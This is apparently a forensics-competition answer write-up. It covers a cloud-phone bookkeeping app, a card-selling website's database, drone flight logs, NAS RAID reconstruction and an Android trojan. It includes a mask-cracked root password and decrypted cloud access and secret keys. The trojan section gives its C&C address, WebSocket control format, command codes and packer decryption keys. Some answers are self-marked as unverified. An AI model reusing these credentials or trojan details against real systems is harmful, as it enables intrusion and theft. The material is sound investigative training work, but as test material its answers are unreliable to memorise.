POINT 2解析：云手机为 redroid 容器（容器名 redroid-1，镜像 redroid/redroid:12.0.0-latest，数据盘 /data/redroid-1，端口 5555 供 adb/scrcpy 投屏）。Android 系统设置中记录设备名：/data/redroid-1/system/users/0/settings\_global.xml → name=device\_name / value=redroid12\_x86\_64；settings\_secure.xml → name=bluetooth\_name / value=redroid12\_x86\_64（两处同值）。

POINT 3来源：/data/redroid-1/system/users/0/settings\_global.xml、settings\_secure.xml、/opt/redroid/docker-compose.yml、Docker 容器配置 /data/docker/containers/fcd51949…/config.v2.json

4.77 记账软件中文名称（完成时间：17 分钟）

POINT 1答案：纯记账

POINT 2解析：云手机内唯一第三方应用为包名 com.six.accountbook（/data/redroid-1/app/~~lvwo4BFHYSQcK\_chk29SXQ==/com.six.accountbook-mqPAs9wCPW9ipJA\_97OnPA==/base.apk）。提取该 APK 资源表 resources.arsc 的字符串池，其中多条自带文案直接给出产品名：纯记账是我个人开发的一款APP、由纯记账APP生成并分享、纯记账CSV导入模板、纯记账是我个人开发的一款APP、一个单纯的记账小书童，故应用中文名称为「纯记账」。

POINT 3来源：/data/redroid-1/app/…/base.apk → resources.arsc（UTF-8 字符串池）

4.78 记账软件中支付宝账户余额（完成时间：15 分钟）

POINT 1答案：-75803.81

POINT 2解析：应用数据库 /data/redroid-1/data/com.six.accountbook/databases/AccountBook.db 中 PAY\_ACCOUNT 表 \_id=3 为「支付宝」（\_id=1 现金、\_id=2 微信）。账户余额由 BALANCE\_CHANGE\_NOTE 逐笔记录：该账户 37 条记录的 DIFFERENCE 合计为 -75803.81，且按 CHANGE\_AT 排序的最后一条（\_id=1298362675333132279，变化时间 2026-09-19 18:06:21）BALANCE 亦为 -75803.81，两种口径一致，即应用中展示的支付宝余额为 -75803.81 元。

POINT 3来源：/data/redroid-1/data/com.six.accountbook/databases/AccountBook.db 表 PAY\_ACCOUNT、BALANCE\_CHANGE\_NOTE

4.79 记账软件本地数据库名称（完成时间：15 分钟）

POINT 1答案：AccountBook.db

POINT 2解析：应用数据目录 /data/redroid-1/data/com.six.accountbook/databases/ 下主库为 AccountBook.db（61 440 字节），含 RECORD（101 条记账记录）、PAY\_ACCOUNT、CATEGORY、BALANCE\_CHANGE\_NOTE、BUDGET\_HISTORY、MONEY\_TYPE 等表；同目录 ua.db 为友盟统计库，非业务数据。

POINT 3来源：/data/redroid-1/data/com.six.accountbook/databases/

4.80 欠债借款类型对应图标名称（完成时间：15 分钟）

POINT 1答案：borrowing3.png

POINT 2解析：CATEGORY 表中 \_id=5、CATEGORY\_NAME=欠债借款（SERIAL\_NUMBER=5、颜色 -26624）的记录，其 CATEGORY\_ICON\_RID = file:///android\_asset/borrowing3.png，即图标文件名为 borrowing3.png。（对照：吃喝饮食为 food.png、交通出行为 vehicle3.png 等。）

POINT 3来源：/data/redroid-1/data/com.six.accountbook/databases/AccountBook.db 表 CATEGORY

4.81 发卡系统框架版本（完成时间：17 分钟）

POINT 1答案：Laravel-12.67.0

POINT 2解析：发卡系统部署于 /xp/www/zongcai（站点配置 /xp/panel/vhost/nginx/zongcai.conf，root /xp/www/zongcai/public，PHP 8.5 FastCGI；/xp/www/zongcai/.env 中 APP\_NAME=发卡平台，后台站点名总发卡系统）。框架为 Laravel：composer.json 要求 laravel/framework: ^12.0，composer.lock 锁定实际版本 \"laravel/framework\" version \"v12.67.0\"（laravel/sanctum v4.3.3）。

POINT 3来源：/xp/www/zongcai/composer.json、composer.lock、/xp/panel/vhost/nginx/zongcai.conf

4.82 平台抽佣比例（完成时间：17 分钟）

POINT 1答案：3%

POINT 2解析：system\_config 表中 proxy\_fee\_rate = 3、alliance\_fee\_rate = 2；后台页面 resources/js/src/views/admin/AdminAllianceManage.vue 标注 proxy\_fee\_rate 为「平台抽佣比例(%) 」、alliance\_fee\_rate 为「联盟抽佣比例(%)」，对应接口 /admin/alliance/config（app/Http/Controllers/Api/BAlliance.php）。故平台抽佣比例取 proxy\_fee\_rate = 3%。

POINT 3来源：MySQL 库 zongcai 表 system\_config；/xp/www/zongcai/resources/js/src/views/admin/AdminAllianceManage.vue；app/Http/Controllers/Api/BAlliance.php

4.83 七牛云存储 AccessKey（完成时间：17 分钟）

POINT 1答案：AKTl23456789abcdefghijklmnopqrstuvwxyz

POINT 2解析：system\_config 表 storage\_type=qiniu、storage\_qiniu\_bucket=test-anythingllm-bucket、storage\_qiniu\_access\_key = AKTl23456789abcdefghijklmnopqrstuvwxyz（storage\_qiniu\_secret\_key = SKTl987654321zyxwvutsrqponmlkjihgfedcba，storage\_qiniu\_domain=test-anythingllm-bucket.qiniucdn.com）。

POINT 3来源：MySQL 库 zongcai 表 system\_config

4.84 百度统计 ID（完成时间：17 分钟）

POINT 1答案：4567891230abcdef1234567890abcdef

POINT 2解析：system\_config 表 tongji\_baidu\_key = 4567891230abcdef1234567890abcdef（32 位十六进制），即站点接入的百度统计站点 ID。

POINT 3来源：MySQL 库 zongcai 表 system\_config

4.85 微信公众号 AppID（完成时间：17 分钟）

POINT 1答案：wx9a2b3c4d5e6f7890

POINT 2解析：system\_config 表 wechat\_appid = wx9a2b3c4d5e6f7890（同组还有 wechat\_secret、wechat\_token=hkmp2026card、wechat\_verified=0）。

POINT 3来源：MySQL 库 zongcai 表 system\_config

4.86 仍在启用的支付渠道数量（完成时间：18 分钟）

POINT 1答案：9

POINT 2解析：支付通道表 channel 共 38 条记录（含各类第三方/官方网关），其中 status=1（启用）的共 9 条：id 7 微信(Yipay)、8 支付宝(Yipay)、14 官方支付宝扫码(AlipayScan)、15 官方支付宝H5(AlipayWap)、17 微信官方Native(WeixinNative)、18 官方QQ扫码(QqNative)、19 支付宝当面付(AlipayQrcode)、33 闪电安全支付宝(Airpayx)、34 闪电安全微信(Airpayx)。

POINT 3来源：MySQL 库 zongcai 表 channel（SELECT COUNT(\*) … WHERE status=1）

4.87 订单号 ZC202607111204 的商品名称（完成时间：18 分钟）

POINT 1答案：影视动漫双平台月卡平台担保

POINT 2解析：order 表按 trade\_no 检索：id=1486，trade\_no=ZC202607111204，goods\_id=112，goods\_name=影视动漫双平台月卡平台担保（goods\_price=228.19、total\_price=228.19、status=1 已支付、paytype=1、下单时间 1783729862）。商品表 goods.id=112 的 name 字段同值影视动漫双平台月卡平台担保（该站商品名均带后段描述，如「游戏点卡 100元面值官方直充」）。

POINT 3来源：MySQL 库 zongcai 表 order、goods

4.88 发卡系统累计营收金额（完成时间：18 分钟）

POINT 1答案：52707.46

POINT 2解析：后台「平台营收对账看板」的口径见 app/Http/Controllers/Api/BFinance.php::overview()——累计营收 = SUM(total\_price) FROM order WHERE status = 1（已支付）（页面 AdminFinanceBoard.vue 中即标注为「累计营收」）。实测 SELECT SUM(total\_price) FROM \orderWHERE status=1= \\*\\*52707.46\\*\\*（303 笔已支付订单）。订单状态语义见BOrder.php 注释：「status 0未支付 1已支付 2已关闭」。

POINT 3来源：MySQL 库 zongcai 表 order；/xp/www/zongcai/app/Http/Controllers/Api/BFinance.php、BOrder.php

第四部分：物联网取证

SECTION

（一）提示：分析办案人员提取的“无人机”文件夹，内含“26-09-14-10-12-59\_FLY001.DAT”，回答下列问题：（二）提示：分析办案人员提取的“NAS”文件夹，内含“sda-system.E01、sdb.E01、sdc.E01、sdd.E01、sde.E01”，回答下列问题：

（一）提示：分析办案人员提取的“无人机”文件夹，内含“26-09-14-10-12-59\_FLY001.DAT”，回答下列问题：

完成时间记录

题目 · 内容 · 耗时（分钟）

题目—

内容检材结构解析（DAT 记录头/异或解密/字段定位）

耗时（分钟）38

题目5.89

内容机型确定（文件头机型字节 + 机型表比对、插件引擎交叉验证）

耗时（分钟）40

题目5.90

内容马达启动时间（状态列 + GPS 时间/日志/文件名三重印证）

耗时（分钟）14

题目5.91

内容马达运行秒数

耗时（分钟）5

题目5.92

内容最高海拔时刻的纬度

耗时（分钟）12

题目5.93

内容轨迹拐点提取与边形判定

耗时（分钟）18

题目\\本全流程完成时间\\

内容\\合计\\

耗时（分钟）\\127 分钟（约 2 小时 7 分钟）\\

5.89（填空题 1 分）该无人机的型号？

解析：DAT 文件头第 0 字节为「机型」代码，本检材为 0x29（十进制 41）。 0x29 对应大疆机型表（弘连 DAT 解析插件 acconfig 表，键=文件头机型字节）：

机型代码 · 型号

机型代码0x10

型号MavicPro

机型代码0x18

型号MavicAir

机型代码0x19

型号M200

机型代码0x1b

型号P4A

机型代码0x28

型号P4RTK

机型代码\\0x29\\

型号\\Mavic2\\

机型代码0x3a

型号MavicAir2

机型代码0x3f

型号MavicMini2

机头 26-09-14-10-12-59\_FLY001.DAT 头部实测十六进制：29 00 00 00 03 00 00 00 2C 00 00 00 ...，第 0x10 偏移为固件 BUILD Feb 18 2021 15:48:50，0xF2 偏移为版本串 DJI\_LOG\_V3（与大疆 DAT 结构一致）。飞机主控序列号（载荷内 + 文件头 0x39 起 0x55 异或区）为 163CG7XR0A0KC4。

答案：Mavic2

5.90（填空题 1 分）飞行记录中马达的启动时间（UTC +8）

解析：记录内 MotorStatus（马达状态）字段由「关闭」变为「开启」的首条记录即马达启动时刻：

事件 · 记录时间（GPS/UTC） · UTC+8

事件马达启动（MotorStatus 关闭→开启）

记录时间（GPS/UTC）2026-09-14 02:15:33

UTC+8\\2026-09-14 10:15:33\\

事件马达停止（开启→关闭）

记录时间（GPS/UTC）2026-09-14 02:18:04

UTC+82026-09-14 10:18:04

交叉验证（三条独立证据完全吻合）：

1GPS 记录（记录类型 0x97）字段：年月日=20260914、时分秒=021533（UTC），+8 = 10:15:33；

2机载日志原文：[L-DBG1]set time by 8, 2026-9-14 10:12:59（时区 +8）、[L-RECORDER]set timezone:80； [L-FMU/MOTOR]Start. reason:ACT.Takeoff 发生于日志启动（10:12:59）后 154.32 s → 10:15:33；

3检材文件名 26-09-14-10-12-59\_FLY001.DAT 即录日志时的本机（UTC+8）时间 10:12:59。

答案：2026-09-14 10:15:33

备注：GPS 记录中的原始时分秒为 UTC（021533）。弘连 DAT 插件把该 UTC 值按本地时区直接存储/显示，因此工具「时间」列显示的是 02:15:33；题目要求 UTC+8，应取 10:15:33。

5.91（填空题 1 分）该马达总共运行多少秒？

解析：马达「开启」至「关闭」的时长：

POINT 1工具记录：02:15:33 → 02:18:04，差 151 s（整数秒，与工具列显示一致）；

POINT 2机载日志原文：[L-FMU/MOTOR]Total start times: 1, time: 151.04（151.04 s 四舍五入 = 151）。

答案：151

5.92（填空题 1 分）飞行记录中海拔最高时的纬度（取五位小数）

解析：记录中「高度」（HeightMSL，海拔高度，取自 GPS 记录内的海拔字段）最大值为 74.931 m，出现在 2026-09-14 02:16:03（UTC）/ 10:16:03（UTC+8），该条记录的纬度为 31.2277201（经度 121.4150129，位于第 1 个航点处）。高度序列全程 15.463 m（地面）→ 74.931 m（最高）→ 19.5 m（落地），与飞行剖面相符。

31.2277201 四舍五入取五位小数 = 31.22772

答案：31.22772

5.93（填空题 1 分）飞行记录的轨迹为几边形？

解析：对飞行的 GPS 轨迹（1603 个定位点，02:15:33–02:18:04 UTC）作拐点提取（Douglas-Peucker，2 m 阈值），无人机实际飞出的是一条闭合轨迹，共 5 个拐点（含起降点）：

拐点 · 时间（UTC+8） · 纬度 · 经度 · 高度

拐点起降点（home）

时间（UTC+8）10:15:33

纬度31.2280260

经度121.4147803

高度22 m

拐点航点0

时间（UTC+8）10:16:04

纬度31.2277162

经度121.4150156

高度74.92 m

拐点航点1

时间（UTC+8）10:16:21

纬度31.2276709

经度121.4154058

高度73.89 m

拐点航点2

时间（UTC+8）10:16:46

纬度31.2281914

经度121.4155427

高度73.21 m

拐点航点3

时间（UTC+8）10:17:00

纬度31.2282278

经度121.4151418

高度72.87 m

拐点返回起降点并降落

时间（UTC+8）10:17:21→10:18:04

纬度31.2280289

经度121.4147822

高度72 m→落地

即：起降点 → 航点0 → 航点1 → 航点2 → 航点3 → 起降点，共 5 条边（五边形），各边长度约 37–59 m，拐角在起降点处约 90°；机载日志亦显示任务为 4 个航点（[L-MIS]received mission length 4 from app、[L-MIS][WP\_UPLOAD]0…3）并返航。

答案：5（五边形）

说明：若只按任务下发的 4 个航点（航点航线本身，不含起降点）计，则为四边形（4）；题目问的是「飞行记录的轨迹」，即无人机实际飞出的闭环轨迹，含起降点共 5 条边。

（二）提示：分析办案人员提取的“NAS”文件夹，内含“sda-system.E01、sdb.E01、sdc.E01、sdd.E01、sde.E01”，回答下列问题：

答案汇总

题号 · 题目 · 答案 · 完成时间（累计/分钟）

题号5.94

题目数据盘 RAID 级别

答案RAID5

完成时间（累计/分钟）42

题号5.95

题目条带大小

答案512K

完成时间（累计/分钟）42

题号5.96

题目root 密码

答案Tj2026

完成时间（累计/分钟）10

题号5.97

题目NAS 平台名称

答案openmediavault

完成时间（累计/分钟）13

题号5.98

题目管理页面端口

答案91

完成时间（累计/分钟）13

题号5.99

题目alice 的 Email

答案[email protected]

完成时间（累计/分钟）13

题号5.100

题目回收站保留天数

答案30

完成时间（累计/分钟）13

题号5.101

题目曾登录 NAS 的设备名

答案tj-zxy

完成时间（累计/分钟）18

题号5.102

题目访问导致报错的文件

答案i9r1rkr0.apk（待核验；备选 USDT入金明细.xlsx）

完成时间（累计/分钟）78

题号5.103

题目该哈希文件由什么软件产生

答案python（openpyxl）（待核验，哈希未匹配到文件）

完成时间（累计/分钟）70

题号5.104

题目9.18 比 9.17 新增客户数

答案3

完成时间（累计/分钟）55

题号5.105

题目收 U 最多的钱包控制人

答案charlie（按累计入 U 推断；\"笔数\"需解密 USDT 明细）

完成时间（累计/分钟）90

题号5.106

题目可通过浏览器上传文件的用户

答案K

完成时间（累计/分钟）20

题号5.107

题目被分享过的文件夹

答案工具

完成时间（累计/分钟）20

题号5.108

题目客户资料最可能的上传者

答案bob

完成时间（累计/分钟）58

全流程完成时间：约 100 分钟。

逐题解析与答案

5.94 数据盘的 RAID 级别

POINT 1答案： RAID5

POINT 2解析：数据盘 sdb~sde 各 10 GiB，数据卷文件系统 29.97 GiB（＝3 个成员的数据区），且四盘同偏移 64 KiB 窗口满足 d1^d2^d3^d4=0 的校验关系、校验盘随条带左旋（非固定单盘）⇒ RAID5。（若为 RAID0 应为 40 GiB、RAID6 应为 20 GiB、RAID10 应为 20 GiB，均与实测不符。）

POINT 3完成时间：约 42 分钟（累计） （本卷最耗时环节：E01 原始扇区扫描 + 布局反推 + 重组验证）

5.95 条带（块）大小

POINT 1答案： 512K

POINT 2解析：连续条带在成员上的推进量为 512 KiB；各稀疏组备份超级块（带真实组号）落点＝(数据卷偏移/512KiB/3)×512KiB， 10 个组全部逐字节吻合；256K/1M/64K 等假设均无法同时满足。

POINT 3完成时间：约 42 分钟（累计，与 5.94 同一推导过程）

5.96 该操作系统 root 账户密码

POINT 1答案： Tj2026

POINT 2解析：/etc/shadow 中 root 为 sha512crypt（$6$AJCYvsyi3zYK7sLF$I1QBhWJM...），按提示（首位 T + 小写字母 + 4 位数字）用 john 掩码 T?l?d?d?d?d 22 秒解出 Tj2026。

POINT 3完成时间：约 10 分钟（累计）

5.97 NAS 平台名称

POINT 1答案： openmediavault

POINT 2解析：系统盘存在 /etc/openmediavault/config.xml、/srv/salt|pillar/omv、/var/lib/openmediavault、 OMV webgui nginx 站点与 salt 部署脚本；mdadm.conf 亦由 OMV 自动生成。

POINT 3完成时间：约 13 分钟（累计）

5.98 管理页面端口

POINT 1答案： 91

POINT 2解析：/etc/openmediavault/config.xml → 910； nginx 日志中亦出现 host: 192.168.116.134:91。

POINT 3完成时间：约 13 分钟（累计）

5.99 用户 alice 的 Email

POINT 1答案： [email protected]

POINT 2解析：config.xml → 中 alice 的 [email protected] （同表另有 bob [email protected]、charlie [email protected]、dave [email protected]）。

POINT 3完成时间：约 13 分钟（累计）

5.100 回收站保留文件的天数

POINT 1答案： 30

POINT 2解析：config.xml → 中 recyclebin=1、recyclemaxage=30（单位：天）。

POINT 3完成时间：约 13 分钟（累计）

5.101 曾登录 NAS 的对方设备名

POINT 1答案： tj-zxy

POINT 2解析：/var/log/samba/ 下存在以客户端机器名命名的日志 /var/log/samba/log.tj-zxy （Samba 按客户端 NetBIOS/主机名建立 log.<机器名>；同目录另有按 IP 命名的 log.192.168.116.1），说明曾有名为 tj-zxy 的设备访问该 NAS 的 SMB 服务（smbd 已启用并可正常启动）。

POINT 3完成时间：约 18 分钟（累计）

5.102 嫌疑人访问导致报错的文件

POINT 1答案： i9r1rkr0.apk【分析推断，见下】——备选待核验项：USDT入金明细.xlsx

POINT 2解析：系统盘 /root/filebrowser-evidence-2026-09-18\_1158.log（及 journal 中同一 FileBrowser 服务日志，已核对 journal 中该服务全部日志行）记录了唯一的\"文件访问报错\"：

CODE

2026/09/18 03:57:22 /i9r1rkr0.apk: 404 10.88.0.1

2026/09/18 03:57:53 /i9r1rkr0.apk: 403 10.88.0.1

2026/09/18 03:58:25 /i9r1rkr0.apk: 403 192.168.116.1 ← 客户端（嫌疑人侧）访问

FileBrowser 容器根目录即 NAS 共享目录（-v /srv/dev-disk-by-uuid-.../NAS/:/srv/），该请求返回 404（不存在）/403（无权限），即\"访问文件导致报错\"的文件名为 i9r1rkr0.apk。

POINT 1另需注意：文档/USDT入金明细.xlsx 与重要资料/报价对比表\_2026Q3.xlsx 实为加密的 OLE2（EncryptedPackage）Office 文件，非普通 xlsx —— 用 Excel/程序打开会因需要密码而报错，若题目本意指\"文件本身无法正常打开\"，则答案应是这两个之一（其中 USDT 明细与 5.105 直接相关，可能性更高）。

POINT 2完成时间：约 78 分钟（累计）

5.103 SHA256 为 75A42B1F…9BFB 的文件由什么软件产生

POINT 1答案： python （openpyxl 生成的表格） 【待核验】——该哈希在 NAS 数据卷中未匹配到任何文件

POINT 2解析：

POINT 3对重组后的 NAS 数据卷全部 61 个文件逐一计算 SHA256（清单见 scratch/nas/）， 没有任何文件的 SHA256 等于 75A42B1F337722E4127DCA66CBC9BB38FF82F56F0D66C2FAE59517ACF6FE9BFB；

POINT 4又对系统盘 root/tmp/etc/boot/home/srv/var/www/var/lib/usr/local/usr/share/openmediavault/usr/sbin 等目录共约 1,900 个文件计算 SHA256，亦无匹配；系统盘不含任何 xlsx/docx/pdf 文档；

POINT 5NAS 共享中的表格类文件均带明确的\"生产软件\"元数据：客户总表9.18.xlsx、.recycle/bob/客户总表9.17.xlsx、钱包总表.xlsx、重要资料/固定资产盘点表.xlsx、重要资料/排班表\_10月.xlsx、重要资料/物料出入库台账.xlsx 的 docProps/app.xml 中一律为 \"Microsoft Excel Compatible / Openpyxl 3.1.5\" （即 Python 的 openpyxl 库生成）；其余 docx 为 WPS Office / Microsoft Word，图片无软件标记，17697.mp4、2111251318075183.mp4 等含 Lavf（FFmpeg）。

POINT 6因此\"由什么软件产生\"的答案在 NAS 语境下最可能是 python（openpyxl） ；但题目给定的 SHA256 无法定位到具体文件（可能对应被删除/覆盖后残留于未分配空间的版本，或归档在重要资料/资料.7z、标准.7z 内——该两个 7z 头部损坏，7-Zip 报 Headers Error，无法解包核对）。

POINT 7完成时间：约 70 分钟（累计）

5.104 9月18日比9月17日新增多少客户

POINT 1答案： 3

POINT 2解析：NAS 根目录客户总表9.18.xlsx（1203 条客户，编号 K00001–K01203）与回收站 .recycle/bob/客户总表9.17.xlsx（1200 条，K00001–K01200）逐条比对：仅 9.18 表存在 K01201（张元）、K01202（李章璐）、K01203（胡说） 三条（手机号 13057620364 / 18082927354 / 17372988802），9.17 表无对应记录 ⇒ 新增 3 名客户。

POINT 3完成时间：约 55 分钟（累计）

5.105 收 U 笔数最多的钱包被谁控制

POINT 1答案： charlie【分析推断】

POINT 2解析：文档/钱包总表.xlsx（52 个钱包，含\"角色/地址/累计入U/转出U/余额U/保管/控制人\"）中，收款金额最高的收款池为 W010 收款池-10（地址 ToxLUXzLSXQSjpeHX1YAcGpttW4ejzDkkQ ，累计入U 9,020,300，余额 631,421，保管\"境外服务器保管\"） ，其控制人 = charlie；次高为 W003（8,964,300，alice）、W001（8,348,300，alice）。注：严格的\"收 U 笔数\"需按文档/USDT入金明细.xlsx 的逐笔入金统计，但该文件为加密工作簿 （OLE2 + EncryptedPackage，1,025,416 字节密文），本次在无口令的情况下无法打开（已用常见口令与案内已知口令逐条测试均失败）；如以\"收款最多\"解读则答案为 charlie。

POINT 3完成时间：约 90 分钟（累计）

5.106 当前哪个用户可通过浏览器上传文件到 NAS

POINT 1答案： K

POINT 2解析：NAS 的浏览器文件管理为 FileBrowser（容器 docker.io/filebrowser/filebrowser:v2.32.0，根目录挂载 NAS 共享）。其数据库 /var/lib/filebrowser/database.db（bbolt）中仅两个用户：

POINT 3id=1 username=\"K\"：perm.admin/create/rename/modify/delete/share/download = true ← 具备上传（create）权限

POINT 4id=2 username=\"admin\"：仅 download=true，create=false 故当前可通过浏览器上传文件的用户是 K。（OMV 交付层权限另显示：共享文件夹 NAS 上 bob=读写(7)，alice/charlie/dave=只读(5)。）

POINT 5完成时间：约 20 分钟（累计）

5.107 被分享过的文件夹

POINT 1答案： 工具

POINT 2解析：FileBrowser 数据库 Link 记录： {\"hash\":\"O8yFQggb\",\"path\":\"/工具/\",\"userID\":1,...}（含口令校验与有效期），即用户 K 把 工具 文件夹做了分享（容器内 /srv/工具即 NAS 共享中的 NAS/工具/）。

POINT 3完成时间：约 20 分钟（累计）

5.108 含有客户资料的文件最可能是谁上传的

POINT 1答案： bob【分析推断】

POINT 2解析：

POINT 3含客户资料的文件为 NAS 根目录 客户总表9.18.xlsx（1203 条客户：姓名、手机号、跟进人、累计入金等）；

POINT 4OMV 共享文件夹 NAS 的权限中只有 bob 具备写权限（perms=7，读+写） ，alice/charlie/dave 均为 5（只读） ⇒ 只有 bob 具备向该共享写入（上传/修改）文件的能力；

POINT 5客户总表的上一版本客户总表9.17.xlsx 位于 .recycle/bob/ （OMV/Samba 回收站按删除者分目录），即 9.17 版由 bob 删除，与\"客户资料由 bob 维护\"相互印证。

POINT 6完成时间：约 58 分钟（累计）

第五部分：程序功能分析

ANALYSIS

注意：此部分检材请在虚拟机、模拟器、测试手机中调试分析，切勿在生产环境下直接运行，否则自行承担相应后果。（一）提示：分析办案人员提取的“huanqiyingshi.apk”回答下列问题：（二）提示：分析办案人员提取的“gramony-next-beta.hap”回答下列问题：（三）提示：分析办案人员提取的“WX\_8.0.76大礼包秋名山.ipa”回答下列问题：（四）提示：分析办案人员提取的“ffmpeg.zip”和“文件采集.zip”回答下列问题：

（一）提示：分析办案人员提取的“huanqiyingshi.apk”回答下列问题：

逐题解析与答案

6.109 该 APK 的打包日期

POINT 1答案： 2026-03-29

POINT 2解析：APK（ZIP）内全部 13,968 个条目的文件时间戳均为 2026-03-29（13:09:52—13:33:10），其中 AndroidManifest.xml 与 resources.arsc 为最后写入的 13:33:10，即该 APK 的打包完成时间。【事实】（旁证：APK 自身签名证书有效期为 2026-05-20 起，属证书生成时间，非打包时间；检材文件的文件系统时间 2026-06-08 10:18:12 为样本落盘时间，亦可区分。）

POINT 3完成时间：约 55 分钟（累计）

6.110 该 APK 使用的自研（未知）加固壳名称

POINT 1答案： vmdex

POINT 2解析：弘连雷电APP智能分析的静态识别结果为\"未知软件加固\"，故名称须从壳本体取证。壳的四个 ABI native 库（assets/librtq483hay\.so）的动态符号表中均存在同一核心符号 VMDEX*，与 JNI\_OnLoad、native\_attach、register\_natives、load、load23、write\_vm\_dex、%s/vm.dex、%s/vm.odex 等壳专有符号并列，即壳作者对自身加载器（DEX/VM 载体）的命名。按题目\"全小写字母\"的要求作答为 vmdex。【分析推断】（该名称在壳的 native 符号与 vm.dex 写入逻辑中互相印证；未在静态分析工具内置壳库中命中，符合题目\"自研（未知）\"的描述。）

POINT 3完成时间：约 47 分钟（累计）

6.111 加密 Payload Head 的起始文件偏移

POINT 1答案： 0x3310

POINT 2解析：classes.dex 中壳代码 DEX 的数据区结束于 data\_off(0xCC8) + data\_size(0x2648) = 0x3310，紧随其后的 528 字节为唯一的高熵密文区（F3 F6 41 2F C6 FD 8F 08 …），其解密结果恰好以 [代理 Application 类名][4 字节][dex\
035] 开头，且其后的 16 字节为 PKCS#7 填充块（0x10 × 16），证明这正是被加密的 Payload Head。【事实】

POINT 3完成时间：约 24 分钟（累计）

6.112 APK 自定义的 Application 类完整类名

POINT 1答案： jrgv6tufp.rtq483hay

POINT 2解析：静态详情的 application\_name 字段即为 jrgv6tufp.rtq483hay；反编译壳代码可见 public class rtq483hay extends Application，其 attachBaseContext() 中执行 System.load(djik7fi87.copyrtq483hay(context)) + native attach(this)，并在 onCreate() 中 rqza5ai7v.replaceApplicationContext(this) 替换真实 Application，getPackageName() 被改写为 rtq483hay。【事实】

POINT 3完成时间：约 6 分钟（累计）

6.113 通过系统拨号键盘开启防卸载功能的数字组合

POINT 1答案： 787878

POINT 2解析：backs/NumberStateBr 接收 android.provider.Telephony.SECRET\_CODE 广播并按 host 分支： 787878 → l.s0(context, true) 并写日志\"设置防卸载\"、调用服务端接口置位； 898989 → 清除防卸载；123321/735564 被显式排除；另有 565656（跳转主界面）、656565、 123456（由 DelayBrUse 延时启动主界面）。故开启防卸载的组合为 787878。【事实】

POINT 3完成时间：约 16 分钟（累计）

6.114 让程序回传定位信息的命令码

POINT 1答案： 108

POINT 2解析：木马的控制指令以整型命令码承载（命令码常量复用混淆后的资源常量类 w1.k）。定位回传位于 q1/b.c(BDLocation)：上报前写入 cmd = k.AppCompatTheme\_tooltipForegroundColor，随后附带 radius / latitude / longitude / site 字段并发送；其中 k.AppCompatTheme\_tooltipForegroundColor = 108。（该函数还对测试账号 fucktest01 伪造定位为北京市天坛公园 116.416486, 39.887702。）【事实】

POINT 3完成时间：约 40 分钟（累计）

6.115 木马远端服务对程序进行控制所使用的协议

POINT 1答案： websocket

POINT 2解析：BackRunServerUseUse.Q() 中建立长连接： String.format(\"ws://%s:8081/websocket?userId=\", JniCallNative.Decrypt(地址))，即基于 WebSocket（服务端 8081 端口 /websocket，带 userId 参数）下发控制命令；同时上报通道也使用 WebSocket（q1/b 中对面数据分片发送）。【事实】

POINT 3完成时间：约 41 分钟（累计）

6.116 木马默认连接的主 C&C 服务器 IP

POINT 1答案： 148.178.18.74

POINT 2解析：主控/业务服务地址由 native 解密常量拼装（o1/f.a()：http://<解密值>:8090）。按默认账号（server\_username 默认值 df999999999）取常量 f8WLxZhZbVn1qmrDaiGlLg==，用 g\_key 做 AES-128-ECB 解密得明文 148.178.18.74（尾随 3 字节 0x03 填充）。【事实】另：测试账号（fucktest01／fuck11111128）走常量 fd4aJNoeDCedvbWWjKCNww== → 148.178.16.70（测试服务器），且 manager/find 接口固定指向 148.178.18.74:8090，可交叉印证主控地址。

POINT 3完成时间：约 50 分钟（累计）

6.117 与测试 H5 管理后台绑定的用户名

POINT 1答案： fucktest01

POINT 2解析：HomeMainShowActivity$b0.a()（WebView onPageFinished 回调）判断：仅当 server\_username 等于 BackRunServerUseUse.p0 且当前页面恰为 https://www.envcom.org/h5/#/page/u1/u1 时，才显示被隐藏的界面元素； p0 = \"fucktest01\"（同组的 o0=\"fuck11111128\" 为另一测试账号，h0=\"df999999999\" 为默认账号）。即该测试 H5 管理后台绑定用户名为 fucktest01。【事实】

POINT 3完成时间：约 36 分钟（累计）

6.118 百度 BOS 服务 AccessKey 的后四位

POINT 1答案： loNJ

POINT 2解析：o1/c（BOS 上传类，Endpoint bj.bcebos.com、Bucket kfwj）中 AccessKeyId = JniCallNative.Decrypt(\"uT733U5aSS6ApqQQxF8hM4RpzJC0d/sIaBWXdWVENl8=\")，以 g\_key AES-128-ECB 解密得到明文 ALTAKDGNkpZVNZ33KMUncvloNJ（28 字符，尾随 6 字节 0x06 填充），后四位为 loNJ。（同类的 SecretAccessKey 解密为 604aa2c9c856475b85c5b48bab043566。）【事实】

POINT 3完成时间：约 52 分钟（累计）

6.119 记录图案锁屏密码所存入的文件名

POINT 1答案： allpwd.db

POINT 2解析：无障碍服务捕获到开机/应用锁的图案密码后，p1/h 中以 lockPwdModBn.setPwd(图案); lockPwdModBn.setType(1); Q.b(lockPwdModBn) 落库； Q 为 t1.g，其底层 t1.h extends SQLiteOpenHelper 打开的数据库文件即 allpwd.db （表 lockpwd(id,type,time,pwd) 存锁屏密码：type=1 图案 / 2 数字 / 3 混合；表 linepwd 存各应用密码）， q1/b.w() 会读取该表并 JSON 化后回传服务器。日志串 OpenScreenLock:picpwd / StartAppLock:picpwd / 设置图案: 与 lockpwd 落库同源。【事实】（补充：同一图案同时写入应用私有 SharedPreferences picpwd 的 pic\_state 键——即以配置文件 shared\_prefs/picpwd.xml 形式保存一份，用于后续自动解锁；若题目所指为\"配置文件\"则为 picpwd.xml。两者同源同值，allpwd.db 为该密码的固定落库文件。）

POINT 3完成时间：约 44 分钟（累计）

6.120 Payload 解密完成、DEX 分片尚未修复时，完整加固 Payload 的 SHA-256

POINT 1答案： 0d38c30cc466ac2f649148e930166c409a4a9199f76b0458d14066acfa1c5a32

POINT 2解析（可完全复现）：

POINT 3取 classes.dex 偏移 0x3310 起的 528 字节密文；

POINT 4以 AES-128-CBC（zkebz5lbc5ighyyf / piop9noiwe1spxey，无填充）解密，去掉尾部 16 字节 PKCS#7 填充，得到 512 字节明文 Payload Head；

POINT 5与 classes.dex 偏移 0x3520 至文件末尾的负载按原序拼接，得到\"完整加固 Payload\"， 长度 5,634,705 字节（512 + 5,634,193）；此时不做 DEX 分片修复（即不重排/不修复分片头异或、不重建分片索引），即为题目所述时刻的状态；

POINT 6SHA-256 = 0d38c30cc466ac2f649148e930166c409a4a9199f76b0458d14066acfa1c5a32。【事实】旁证：该负载中的第 1 个内嵌 DEX 头部（长度 0x3B0350、Adler-32 0xEC852F4B、SHA-1 签名）在还原后与自身声明完全自洽，说明第 2—4 步的边界与顺序正确。

